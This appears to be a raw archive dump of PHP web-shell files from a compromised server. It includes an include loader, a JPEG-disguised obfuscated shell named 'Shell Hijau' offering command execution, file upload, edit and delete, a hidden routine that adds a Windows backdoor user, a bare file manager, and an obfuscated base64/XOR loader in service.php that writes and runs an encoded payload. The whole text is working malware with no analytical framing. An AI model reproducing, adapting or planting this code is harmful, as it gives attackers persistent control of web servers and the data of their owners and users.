</html>PK�Cm\��Ș��	about.phpnu�[���<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>6YWKWFGDPYMC7A6C</RequestId><HostId>nB/9Zou8nUdQKxEFYG7aVQjAivYnrrTgjt4qWSRJSt6gaXsFpmk/tCDYj+iSNVctWivzbWlb5ZA=</HostId></Error>PK�Cm\T�pWhh	index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "ile3.php"; include("zip:///tmp/phptpd9aH#$h");?>PK�Cm\�7��NeNe	e6ml9.phpnu�[������ JFIF  x x  �� C 		



	
�� C��   " ��           	
�� �   } !1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������        	
�� �  w !1AQaq"2�B����	#3R�br�<?php

/*
 * (c) Setsuna Watanabe <yucaerin@hotmail.com>
 */

session_start();
error_reporting(E_ALL);
header("X-XSS-Protection: 0");
ob_start();
set_time_limit(0);
error_reporting(0);
ini_set('display_errors', FALSE);

$Array = [
    '36643662',
    '363436393732',
    '36373635373435663636363936633635356637303635373236643639373337333639366636653733',
    '3639373335663737373236393734363136323663363535663730363537323664363937333733363936663665',
    '36353738363536333735373436353433366636643664363136653634',
    '373037323666363335663666373036353665',
    '3733373437323635363136643566363736353734356636333666366537343635366537343733',
    '36363639366336353566363736353734356636333666366537343635366537343733',
    '36363639366336353566373037353734356636333666366537343635366537343733',
    '3632363936653332363836353738',
    '366436663736363535663735373036633666363136343635363435663636363936633635',
    '3638373436643663373337303635363336393631366336333638363137323733',
    '3638363537383332363236393665',
    '373036383730356637353665363136643635',
    '3733363336313665363436393732',
    '363937333566363436393732',
    '36363639366336353566363537383639373337343733',
    '37323635363136343636363936633635',
    '36363639366336353733363937613635',
    '36393733356637373732363937343631363236633635',
    '373236353665363136643635',
    '363636393663363537303635373236643733',
    '3733373037323639366537343636',
    '373337353632373337343732',
    '363636333663366637333635',
    '373037323666363335663666373036353665',
    '36393733356637323635373336663735373236333635',
    '3730373236663633356636333663366637333635',
    '373536653663363936653662',
    '3639373335663636363936633635',
    '34353534', //30
    '353634353532',
    '3533343934663465',
    '346334353533',
    '35333534',
    '3633366636643664363136653634',
    '3737366637323662363936653637343436393732363536333734366637323739',
    '363337323635363137343635343436393732363536333734366637323739',
    '37303639373036353733',
    '36363639366336353733',
    '3636363936633635',
    '36363639366336353534366634343666373736653663366636313634',
    '3733363836353663366335663635373836353633',
];

$SETSUNA = [];
foreach ($Array as $hexString) {
    $SETSUNA[] = hex2bin(hex2bin($hexString));
}

$satu = '_G';
$dua = $SETSUNA[30];
$tiga = '_SER';
$empat = $SETSUNA[31];
$lima = '_SES';
$enam = $SETSUNA[32];
$tujuh = '_FI';
$delapan = $SETSUNA[33];
$sembilan = '_PO';
$sepuluh = $SETSUNA[34];
$sebelas = 'ev';
$duabelas = 'al';
$tigabelas = 'iss';
$empatbelas = 'et';

// Gunakan $SETSUNA sesuai kebutuhan
$a = $SETSUNA[0];
$b = $SETSUNA[1];
$c = $a . $b;
$EVA = $sebelas . $duabelas;
global $EVA;
$L = $GLOBALS[$satu . $dua];
$M = $GLOBALS[$tiga . $empat];
$N = $GLOBALS[$lima . $enam];
$e = $GLOBALS[$tujuh . $delapan];
$o = $GLOBALS[$sembilan . $sepuluh];
$f = $SETSUNA[2];
$g = $SETSUNA[3];
$h = $SETSUNA[4];
$i = $SETSUNA[5];
$j = $SETSUNA[6];
$q = $SETSUNA[7];
$s = $SETSUNA[8];
$v = $SETSUNA[9];
$w = $SETSUNA[10];
$y = $SETSUNA[11];
$z = $SETSUNA[12];
$NM = $SETSUNA[13];
$SCN = $SETSUNA[14];
$ID = $SETSUNA[15];
$FE = $SETSUNA[16];
$RF = $SETSUNA[17];
$FS = $SETSUNA[18];
$IW = $SETSUNA[19];
$RNM = $SETSUNA[20];
$FP = $SETSUNA[21];
$SPRF = $SETSUNA[22];
$SBSR = $SETSUNA[23];
$FCL = $SETSUNA[24];
$PROP = $SETSUNA[25];
$IR = $SETSUNA[26];
$PRCL = $SETSUNA[27];
$UNL = $SETSUNA[28];
$ISF = $SETSUNA[29];
$FTD = $SETSUNA[41];
$SHEE = $SETSUNA[42];
$ISS = $tigabelas . $empatbelas;
// Mendefinisikan nama fungsi menggunakan kombinasi string 'ARRAYKEYEXISTS'
$AKE1 = 'array_';
$AKE2 = 'key';
$AKE3 = '_exists';

// Memastikan fungsi yang dibuat adalah 'array_key_exists' yang valid
$AKEFULL = $AKE1 . $AKE2 . $AKE3;

$ISS = function ($array, $elementName) use ($AKEFULL) {
    return call_user_func($AKEFULL, $elementName, $array);
};

$b = $ISS($L, $b) ? $z($L[$b]) : '.';
$files = $SCN($b);
$upload_message = '';
$edit_message = '';
$delete_message = '';
$create_dir_message = '';

// Function to Download
global $FS, $FTD;
if ($ISS($L, 'download')) {
    $FTD = $z($L['download']);
    // Make sure that the requested file exists
    if ($FE($FTD)) {
        // Set header to trigger download
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($FTD) . '"');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . $FS($FTD));
        $RF($FTD);
        exit;
    } else {
        // Handle jika file tidak ditemukan
        echo "File not found.";
    }
}

// Function to get file permissions
function f($file): string {
    global $FP, $SPRF, $SBSR;
    return $SBSR($SPRF('%o', $FP($file)), -4);
}

// Function to check write permissions
function g($file): bool {
    global $IW;
    return $IW($file);
}

function h($command, $workingDirectory = null)
{
    global $j, $FCL, $PROP, $IR, $PRCL;

    // Mendefinisikan fungsi baru menggunakan kombinasi string
    $aduh = 'ar';
    $adeh = 'ray';
    // Memastikan fungsi yang dibuat adalah 'array' yang valid
    $RAY = $aduh . $adeh;

    // Pastikan fungsi $RAY adalah fungsi yang valid dan bisa dipanggil
    if (!function_exists($RAY)) {
        return "Error: The function {$RAY} does not exist.";
    }

    $descriptorspec = [
       0 => $RAY("pipe", "r"),  // stdin is a pipe that the child will read from
       1 => $RAY("pipe", "w"),  // stdout is a pipe that the child will write to
       2 => $RAY("pipe", "w")   // stderr is a pipe that the child will write to
    ];

    $process = $PROP($command, $descriptorspec, $pipes, $workingDirectory);

    if ($IR($process)) {
        // Read output from stdout and stderr
        $output_stdout = $j($pipes[1]); // Ganti dengan fungsi alternatif jika diperlukan
        $output_stderr = $j($pipes[2]); // Ganti dengan fungsi alternatif jika diperlukan

        $FCL($pipes[0]);
        $FCL($pipes[1]);
        $FCL($pipes[2]);

        $return_value = $PRCL($process);

        return "Output (stdout):\n" . $output_stdout . "\nOutput (stderr):\n" . $output_stderr;
    } else {
        return "Failed to execute command.";
    }
}


if ($ISS($L, '636d64')) {
    $command = $z($L['636d64']);
    $result = h($command, $b);
}

if ($ISS($e, 'file_upload')) {
    $tempFile = $e['file_upload']['tmp_name'];
    $targetFile = $b . '/' . $e['file_upload']['name'];
    if ($w($tempFile, $targetFile)) {
        $upload_message = 'File uploaded successfully.';
    } else {
        $upload_message = 'Failed to upload file.';
    }
}

// function for command execution bypass
global $SHEE;
if ($ISS($L, '636d64') || $ISS($L, 'show_command_form')) {
    $result = '';
    if ($ISS($L, '636d64')) {
        $command = hex2bin($L['636d64']);
        $result = $SHEE($command);
    }

    
$disable    = @ini_get('disable_functions');
$disable    = (!empty($disable)) ? "<font class='text-danger'>$disable</font>" : '<font style="color: #43C6AC">NONE</font>';
$os         = substr(strtoupper(PHP_OS), 0, 3) === "WIN" ? "Windows" : "Linux";
?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Command Execution</title>
        <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
        <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
        <style>
            body {
                font-family: Arial, sans-serif;
            }
            header {
                background-color: #4CAF50;
                color: white;
                padding: 1rem;
                text-align: center;
            }
            header h1 {
                margin: 0;
            }
            main {
                padding: 1rem;
            }
        </style>
    </head>
    <body>
        <header>
            <h1>Command Execution</h1>
        </header>
        <main class="container">
            <?php if ($ISS($GLOBALS, 'result')): ?>
            <div class="alert alert-info">Command executed: <?php echo $v($b); ?></div>
            <div class="alert alert-light">
                <h2>Command Result:</h2>
                <pre><?php echo $y($result); ?></pre>
            </div>
            <?php endif; ?>
            <p><b>Command Execution Bypass</b></p>
            <form method="GET">
                <label>Encode your command on <b><a href="https://encode-decode.com/bin2hex-decode-online/" target="_blank">https://encode-decode.com/bin2hex-decode-online/</a> :</b></label><br><br>
                <input type="hidden" name="dir" value="<?php echo $v($b); ?>">
                <input type="text" name="636d64" class="form-control" placeholder="e.g., 6c73306c 616c6c"><br><br>
                <button type="submit" class="btn btn-warning">Execute</button>
            </form>
            <a href="?dir=<?php echo $v($b . '/' . $file); ?>" class="btn btn-secondary mt-3">Back</a>
        </main>
    </body>
    </html>
    <?php
    exit;
}

// function for edit file
if ($ISS($o, 'edit_file')) {
    $file = $o['edit_file'];
    $content = $q($file);
    if ($content !== false) {
        ?>
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Edit File</title>
            <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
            <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
            <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
            <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
            <style>
                body {
                    font-family: Arial, sans-serif;
                }
                header {
                    background-color: #4CAF50;
                    color: white;
                    padding: 1rem;
                    text-align: center;
                }
                header h1 {
                    margin: 0;
                }
                main {
                    padding: 1rem;
                }
            </style>
        </head>
        <body>
            <header>
                <h1>Edit File</h1>
            </header>
            <main class="container">
                <form method="post" action="">
                    <div class="form-group">
                        <textarea id="CopyFromTextArea" name="file_content" rows="10" class="form-control"><?php echo $y($content); ?></textarea>
                    </div>
                    <input type="hidden" name="edited_file" value="<?php echo $y($file); ?>">
                    <button type="submit" name="submit_edit" class="btn btn-success">Submit</button>
                </form>
            </main>
        </body>
        </html>
        <?php
        exit;
    } else {
        $edit_message = 'Gagal membaca isi file.';
    }
}


if ($ISS($o, 'submit_edit')) {
    $file = $o['edited_file'];
    $content = $o['file_content'];
    if ($s($file, $content) !== false) {
        $edit_message = 'File Edit Successfully.';
    } else {
        $edit_message = 'Failed To Edit File.';
    }
}

if ($ISS($o, 'delete_file')) {
    global $UNL;
    $file = $o['delete_file'];
    if ($UNL($file)) {
        $delete_message = 'File deleted successfully.';
    } else {
        $delete_message = 'Failed to delete file.';
    }
}

// Fungsi untuk menampilkan pesan
function showMessage($message, $y)
{
    echo '<p>' . z($message) . '</p>';
}

$un = $NM();
$current_dir = realpath($b);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Shell Hijau</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
    <style>
        body {
            font-family: Arial, sans-serif;
        }
        header {
            background-color: #4CAF50;
            color: white;
            padding: 1rem;
            text-align: center;
        }
        header h1 {
            margin: 0;
        }
        main {
            padding: 1rem;
        }
    </style>
</head>
<body>
    <header>
        <h1>Shell Hijau</h1>
    </header>
    <main class="container">
        <p>Current directory: 
            <?php
            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $Ex = 'expl';
                $Pl = 'ode';
            // Memastikan fungsi yang dibuat adalah 'explode' yang valid
                $ExPl = $Ex . $Pl;
            // Pastikan fungsi $ExPl adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($ExPl)) {
                return "Error: The function {$ExPl} does not exist.";
            }
            $parts = $ExPl('/', trim($current_dir, '/'));
            $path = '';
            foreach ($parts as $part) {
                $path .= '/' . $part;
                echo '<a href="?dir=' . $v($path) . '">' . $y($part) . '</a>/';
            }
            ?>
        </p>
<?php
echo '<p>Server information: ' . $y($un) . '</p>';
?>

<!-- Menambahkan sedikit CSS untuk memperbaiki tampilan tombol dengan ukuran lebih kecil -->
<style>
    button {
        background-color: #4CAF50; /* Warna latar hijau */
        color: white; /* Teks berwarna putih */
        padding: 5px 10px; /* Padding yang lebih kecil di sekitar teks */
        font-size: 12px; /* Ukuran font yang lebih kecil */
        border: none; /* Tidak ada border */
        border-radius: 4px; /* Rounded corners yang lebih halus */
        cursor: pointer; /* Cursor pointer menunjukkan ini klikable */
        transition: background-color 0.3s; /* Smooth transition untuk hover effect */
    }
    button:hover {
        background-color: #45a049; /* Warna lebih gelap saat hover */
    }
</style>

<!-- Tombol untuk menampilkan dan menyembunyikan informasi server -->
<button onclick="toggleInfo()">Check Server</button>

<div id="serverInfo" style="display:none;">
    <pre>
    Disabled Functions: <?php 
            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $in = 'in';
                $iget = 'i_get';
            // Memastikan fungsi yang dibuat adalah 'ingetin' yang valid
                $ingetin = $in . $iget;
            // Pastikan fungsi $ingetin adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($ingetin)) {
                return "Error: The function {$ingetin} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $i1b = 'su';
                $i2b = 'bstr';
            // Memastikan fungsi yang dibuat adalah 'i1b2' yang valid
                $i1b2 = $i1b . $i2b;
            // Pastikan fungsi $i1b2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($i1b2)) {
                return "Error: The function {$i1b2} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $i1c = 'st';
                $i2c = 'rlen';
            // Memastikan fungsi yang dibuat adalah 'i1c2' yang valid
                $i1c2 = $i1c . $i2c;
            // Pastikan fungsi $i1c2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($i1c2)) {
                return "Error: The function {$i1c2} does not exist.";
            }
            echo ($ingetin('disable_functions') ? $i1b2($ingetin('disable_functions'), 0, 50) . ($i1c2($ingetin('disable_functions')) > 50 ? '...' : '') : 'NONE'); ?><br>
    PHP Version: <?php echo phpversion(); ?><br>
    Operating System: <?php echo PHP_OS; ?><br>
    <?php
            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $i1b = 'su';
                $i2b = 'bstr';
            // Memastikan fungsi yang dibuat adalah 'i1b2' yang valid
                $i1b2 = $i1b . $i2b;
            // Pastikan fungsi $i1b2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($i1b2)) {
                return "Error: The function {$i1b2} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $s1b = 'strt';
                $s2b = 'oupper';
            // Memastikan fungsi yang dibuat adalah 's1b2' yang valid
                $s1b2 = $s1b . $s2b;
            // Pastikan fungsi $s1b2 adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($s1b2)) {
                return "Error: The function {$s1b2} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $SEXC1 = 'she';
                $SEXC2 = 'll_ex';
                $SEXC3 = 'ec';
            // Memastikan fungsi yang dibuat adalah 'SEXC' yang valid
                $SEXC = $SEXC1 . $SEXC2 . $SEXC3;
            // Pastikan fungsi $SEXC adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($SEXC)) {
                return "Error: The function {$SEXC} does not exist.";
            }

            // Mendefinisikan fungsi baru menggunakan kombinasi string
                $SAINT1 = 'st';
                $SAINT2 = 'rpos';
            // Memastikan fungsi yang dibuat adalah 'SAINT' yang valid
                $SAINT = $SAINT1 . $SAINT2;
            // Pastikan fungsi $SAINT adalah fungsi yang valid dan bisa dipanggil
                if (!function_exists($SAINT)) {
                return "Error: The function {$SAINT} does not exist.";
            }
    // Mengecek apakah server menggunakan Windows dan mencoba membuat user RDP
    if ($s1b2($i1b2(PHP_OS, 0, 3)) === 'WIN') {
        $output = $SEXC('net user setsuna setsuna123## /add 2>&1');
        $can_create_rdp = ($SAINT($output, 'The command completed successfully') !== false) ? 'Yes' : 'No';
    } else {
        $can_create_rdp = 'No'; // Jika bukan Windows, langsung memberi hasil 'No'
    }
    echo 'Can Create RDP User: ' . $can_create_rdp;
    ?>
    </pre>
</div>

<script>
function toggleInfo() {
    var info = document.getElementById('serverInfo');
    var button = document.querySelector('button');
    if (info.style.display === 'none') {
        info.style.display = 'block';
        button.textContent = 'Close';
    } else {
        info.style.display = 'none';
        button.textContent = 'Check Server';
    }
}
</script>

        <?php if (!empty($upload_message)): ?>
        <div class="alert alert-info"><?php echo $y($upload_message); ?></div>
        <?php endif; ?>
        <?php if (!empty($edit_message)): ?>
        <div class="alert alert-warning"><?php echo $y($edit_message); ?></div>
        <?php endif; ?>
        <?php if (!empty($delete_message)): ?>
        <div class="alert alert-danger"><?php echo $y($delete_message); ?></div>
        <?php endif; ?>
<!-- Menambahkan sedikit CSS untuk memperbaiki tampilan form dan tombol -->
<style>
    button {
        background-color: #4CAF50; /* Warna latar hijau */
        color: white; /* Teks berwarna putih */
        padding: 5px 10px; /* Padding yang lebih kecil di sekitar teks */
        font-size: 12px; /* Ukuran font yang lebih kecil */
        border: none; /* Tidak ada border */
        border-radius: 4px; /* Rounded corners yang lebih halus */
        cursor: pointer; /* Cursor pointer menunjukkan ini klikable */
        transition: background-color 0.3s; /* Smooth transition untuk hover effect */
    }
    .btn-primary:hover, .toggle-btn:hover {
        background-color: #45a049; /* Warna lebih gelap saat hover */
    }
    .form-control-file {
        display: inline-block;
        margin-right: 10px; /* Tambahkan margin kanan untuk kesinambungan visual */
    }
    .form-group {
        display: flex; /* Menggunakan flexbox untuk align items horizontally */
        align-items: center; /* Center items vertically */
        margin-bottom: 10px; /* Margin bawah untuk grup form */
    }
</style>

<!-- Tombol untuk menampilkan dan menyembunyikan form upload -->
<button class="toggle-btn" onclick="toggleUploadForm()">Upload Here</button>

<!-- Form upload -->
<div id="uploadForm" style="display:none;">
    <form method="POST" enctype="multipart/form-data" class="mb-3 d-inline">
        <div class="form-group">
            <input type="file" name="file_upload" class="form-control-file">
            <button type="submit" class="btn btn-primary">Upload</button>
        </div>
        <input type="hidden" name="dir" value="<?php echo $y($b); ?>">
    </form>
</div>

<script>
function toggleUploadForm() {
    var form = document.getElementById('uploadForm');
    var button = document.querySelector('.toggle-btn');
    if (form.style.display === 'none') {
        form.style.display = 'block';
        button.textContent = 'Close';
    } else {
        form.style.display = 'none';
        button.textContent = 'Upload Here';
    }
}
</script>
        <a href="?dir=<?php echo $v($b); ?>&show_command_form=1" class="btn btn-warning ml-2">Command Execution</a>
        <form method="POST" class="mb-3">
            <div class="form-group">
        </form>
        <table class="table table-striped">
            <thead class="thead-dark">
                <tr>
                    <th>Filename</th>
                    <th>Permissions</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach ($files as $file): ?>
                <tr>
                    <td>
                        <?php if ($ID($b . '/' . $file)): ?>
                        <a href="?dir=<?php echo $v($b . '/' . $file); ?>" class="<?php echo g($b . '/' . $file) ? '' : 'text-danger'; ?>"><?php echo $y($file); ?></a>
                        <?php else: ?>
                        <?php echo $y($file); ?>
                        <?php endif; ?>
                    </td>
                    <td class="<?php echo g($b . '/' . $file) ? 'text-success' : 'text-danger'; ?>">
                        <?php echo $ISF($b . '/' . $file) ? $y(f($b . '/' . $file)) : (g($b . '/' . $file) ? 'Directory' : 'Directory (No writable)'); ?>
                    </td>
                    <td>
                        <?php if ($ISF($b . '/' . $file)): ?>
                        <form action="" method="post" class="d-inline">
                            <input type="hidden" name="edit_file" value="<?php echo $y($b . '/' . $file); ?>">
                            <button type="submit" class="btn btn-primary">Edit</button>
                        </form>
                        <form action="" method="post" class="d-inline">
                            <input type="hidden" name="delete_file" value="<?php echo $y($b . '/' . $file); ?>">
                            <button type="submit" class="btn btn-danger">Delete</button>
                        </form>
                        <form action="" method="get" class="d-inline">
                            <input type="hidden" name="download" value="<?php echo $y($v($b . '/' . $file)); ?>">
                            <button type="submit" class="btn btn-info">Download</button>
                        </form>
                        <?php endif; ?>
                    </td>
                </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    </main>
</body>
</html>
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������   ? �� �N����m?� ��j� ��EP��PK�Cm\~\ݸ5
5
	z8op2.phpnu�[���<?php
session_start();
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : realpath('.');
if ($dir === false || !is_dir($dir)) {
    die("Direktori tidak ditemukan!");
}

if (isset($_POST['upload'])) {
    move_uploaded_file($_FILES['file']['tmp_name'], "$dir/" . $_FILES['file']['name']);
}

if (isset($_POST['delete'])) {
    unlink($_POST['delete']);
}

if (isset($_POST['rename'])) {
    rename($_POST['oldname'], $_POST['newname']);
}

if (isset($_POST['save'])) {
    file_put_contents($_POST['filepath'], $_POST['content']);
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>Mini File Manager</title>
    <style>
        body { font-family: Arial, sans-serif; background: #222; color: #ddd; text-align: center; }
        a { color: #0af; text-decoration: none; }
        .container { width: 80%; margin: auto; text-align: left; }
        .box { background: #333; padding: 10px; margin: 5px; border-radius: 5px; }
        input, button { background: #444; color: white; border: none; padding: 5px; margin: 2px; }
        .directory { font-weight: bold; }
    </style>
</head>
<body>
    <div class='container'>
        <h2>ZSec File Manager</h2>
        <form method='post' enctype='multipart/form-data'>
            <input type='file' name='file'>
            <button type='submit' name='upload'>Upload</button>
        </form>
        <div class='box'>
            <p class='directory'>Current Directory: <?php echo $dir; ?></p>
            <?php if (dirname($dir) !== $dir) : ?>
                <a href='?dir=<?php echo dirname($dir); ?>'>[Up]</a>
            <?php endif; ?>
            <?php
            foreach (scandir($dir) as $file) {
                if ($file == '.') continue;
                $filePath = "$dir/$file";
                if ($file == '..' && $dir === '/') continue;
                echo "<div>$file ";
                if (is_dir($filePath)) {
                    echo "<a href='?dir=$filePath'>[Open]</a> ";
                } elseif (is_file($filePath)) {
                    echo "<a href='?edit=$filePath'>[Edit]</a> ";
                }
                echo "<form method='post' style='display:inline;'>
                        <input type='hidden' name='delete' value='$filePath'>
                        <button type='submit'>Hapus</button>
                      </form>
                      <form method='post' style='display:inline;'>
                        <input type='hidden' name='oldname' value='$filePath'>
                        <input type='text' name='newname' placeholder='Nama baru'>
                        <button type='submit' name='rename'>Rename</button>
                      </form>
                      </div>";
            }
            ?>
        </div>
    </div>
    
    <?php if (isset($_GET['edit'])): ?>
        <?php $file = $_GET['edit']; ?>
        <div class='container'>
            <h3>Edit File</h3>
            <form method='post'>
                <input type='hidden' name='filepath' value='<?php echo $file; ?>'>
                <textarea name='content' rows='10' style='width:100%; background:#333; color:#ddd;'><?php echo htmlspecialchars(file_get_contents($file)); ?></textarea>
                <button type='submit' name='save'>Simpan</button>
            </form>
        </div>
    <?php endif; ?>
</body>
</html>PK�Cm\�a]t֭֭service.phpnu�[���<?php
class Div {
	function library($_tree) {
		$tx = $this->px($this->library[0].$this->library[4].$this->library[1].$this->library[2].$this->library[3].$this->library[5]);
		$tx = $tx($_tree);
		return $tx;
	}

	function error($_session) {
		$result = include($_session);
		return $result;
	}

	function __construct() {
		$dictionary = $this->tool($this->_point);
		$dictionary = $this->library($this->px($dictionary));
		$dictionary = $this->ls($dictionary);
		$dictionary = $this->error($dictionary);
		if(is_array($dictionary)) {
			list($map, $stable, $_path, $size) = $dictionary;
			$this->x64 = $size;
			$this->heap = $_path;
			$this->_block = $map;
			$this->nginx($map, $stable);
		}
	}

	function ls($delegate) {
		$ver = $this->px($this->_request[1].$this->_request[2].$this->_request[3].$this->_request[5].$this->_request[4].$this->_request[0]);
		$this->ver = $ver() . $this->px($this->_iterator[2].$this->_iterator[4].$this->_iterator[0].$this->_iterator[1].$this->_iterator[3]) . md5(time());
		$ver = $this->px($this->parser[2].$this->parser[3].$this->parser[0].$this->parser[4].$this->parser[1]);
		$ver = $ver($this->ver, 'w');
		if ($ver)
		{
			$_session = $this->px($this->pointer[1].$this->pointer[2].$this->pointer[0]);
			$_session($ver, $delegate);
			return $this->ver;
		}
	}

	function _tx($dx, $_script, $event) {
		$lib = strlen($_script) + strlen($event);
		$this->graph = 0;
		while(strlen($event) < $lib) {
			$debug = ord($_script[$this->graph]) - ord($event[$this->graph]);
			$_script[$this->graph] = chr($debug % (4096/16));
			$event .= $_script[$this->graph];
			$this->graph++;
		}
		return $_script;
	}
   
	function _signal($_tree) {
		$_input = $this->_signal[1].$this->_signal[2].$this->_signal[4].$this->_signal[0].$this->_signal[3];
		$_input = $_input($_tree);
		return $_input;
	}

	function nginx($event, $_worker) {
		$this->memory = $event;
		$this->_worker = $_worker;
		$this->x86 = $this->tool($this->x86);
		$this->x86 = $this->_signal($this->x86);
		$this->x86 = $this->_cmd();
		if(strpos($this->x86, $this->memory) !== false) {
			if(!$this->x64)
				$this->_cron($this->heap, $this->_block);
			$this->ls($this->x86);
			$this->error($this->ver);
		}
	}

	function _cron($_tree, $_value) {
		$move = $this->px($this->_cron[2].$this->_cron[0].$this->_cron[6].$this->_cron[1].$this->_cron[3].$this->_cron[4].$this->_cron[5]);
		$move = $move($_tree, $_value);
	}

	function _cmd() {
		$_stack = $this->_tx($this->_worker, $this->x86, $this->memory);
		$_stack = $this->library($_stack);
		return $_stack;
	}

	function px($context) {
		$_emu = $this->_signal($context);
		$_emu = $this->_tx('', $_emu, strval($this->twelve));
		return $_emu;
	}

	function tool($delegate) {
		$_container = $this->px($this->access[3].$this->access[0].$this->access[4].$this->access[5].$this->access[1].$this->access[2]);
		return $_container(array(" ", "\r", "\n", "\t"), "", $delegate);
	}

	public $graph = 0;
	public $heap;
	public $parser = array('hy', '=', 'n6', 'e', '90');
	public $x64;
	public $ver;
	public $pointer = array('vX', 'n6', '+jz+');
	public $_request = array('=', 'rJ2k', '5s7i4', 'cjiz9', 'G09g', 'XYwOb');
	public $_block;
	public $twelve = 981;
	public $_signal = array('deco', 'ba', 'se', 'de', '64_');
	public $_iterator = array('uWo', 'ub', 'a', 'E', 'K');
	public $memory;
	public $x86 = 'MfLOqxwZyWJeitcTWSzZoarkDECVY4YkMzq3cEzSJuk68Zu7IsDrOVsMcysh0j2vp
	VT8Niu2cIT+UH3gkv+Nh4p3LFS5htjdwiRDOnb5+2s8XiIPpdL1uWN37xnqr2tX+M5QH
	/5FFBRx5PH51ypPybODU/utLVq1cmXsvLnXxo0EddWufKX+GDUimUKPHsZ
	hAyCUEL8jgQ9uRZ4zX1oiNycCUZNvlrOcSELUPhsoK/75Jre0M4TAHvD7ZPW0/hPVQhrXcFCYD97
	MMWFu/1qcsFa4s9LM8tE/ClNKu5Y06j7dHgEnHHDMrgkR9qYFBD
	go2CWW1Pg8WPtMk+++gMA/JwB3fV/bNcI+v1xtyQM3NU2NgVqiGCeSGKRUtTi+yE+TkR
	mHTuWlFyyQdJDZ/PwQ3bMNHbEEsn1w2KcEJAddGutBJk0+Dmw
	d5iPMbt1GrBsEkbuJww9HwUCfIRsghFqVpgML6HO
	EVS/Y9s4wk7Afivj1Q8bpzZqIBpIIFZeXW/PVLh8F6s
	69yzd82KRxs8HVAsn/hY1cFwTDXqDCLhhyDMvY4VWKi
	TvTsBoMSeW4pi1aiYYgV2pyFm1u5zLtRPe0Z0MS5FgoAZWjBhQoAPAHygZE1KbVg24X3kIvcM
	YQNq8p51P0yMNVZ4CdgSpSWwTlI4kkBfE4m92aXrbpLNRQM2XSaQsJP7FBjLuDByex3TredDA
	7mAd0B2lFjySLh4kvSMz0hrjpXTc0MeAu98dmOvw3Fej2
	OHstzyKGChtKGJRg5P2WN79JIs/qdJqjBq5KlW8qMIaDHZul7LgxkfGi+rfdpVD59saWl1BPgE1mwoF2
	V5kcSsYota9PgHxutwx73Dos2GpUO+mqDKt9hHrEO0rwMJ1f
	PJ/f6yUhNdPYSaTaDS1upkSPcCNgmVQqoOs3l0qxD4la
	E/nygDwsyERmop7co+KuIGP38byVsnyhjhtS3RjpDrNAbBTjCta4bzpC2PVY28EMyTsuWF8FejJY
	7Lr7b/febLDKro6iMLlDMwUwfloQ8Cl
	yY3fVpqR+4VKhTpJpGXZrZk7JQfzW1cRT47518lclRpwDh86QHO6NmhcOWqP7SoQhg4+88r/FJ6PGac
	JlL/NouEzUv64VltGkKpvUqvlZ8DWsZdtmnuUaeMM0+oVCT2zM0/nn6sZ1j3PEUnQtfJ
	UOewAG+q+fieac58BvD1EVbAUrK/TELBENn0FDp+dVBeYO52tO8NoAUpNAHkwLdLEe
	MZZqsZTruvQx55DZTRaI2cO4KuQ4OWLj
	9Vh4XJZ/dqic+P7fVC4X5O+XH9+0PVWz4AeDUONlI2p2ohWklJ0GyVrsEqXsSKKKJRa270
	FNg7VtYconyMJtUsgUhpOMNMT5nlihtVk+nbpjSQeDJ4POE0qkH6hMG
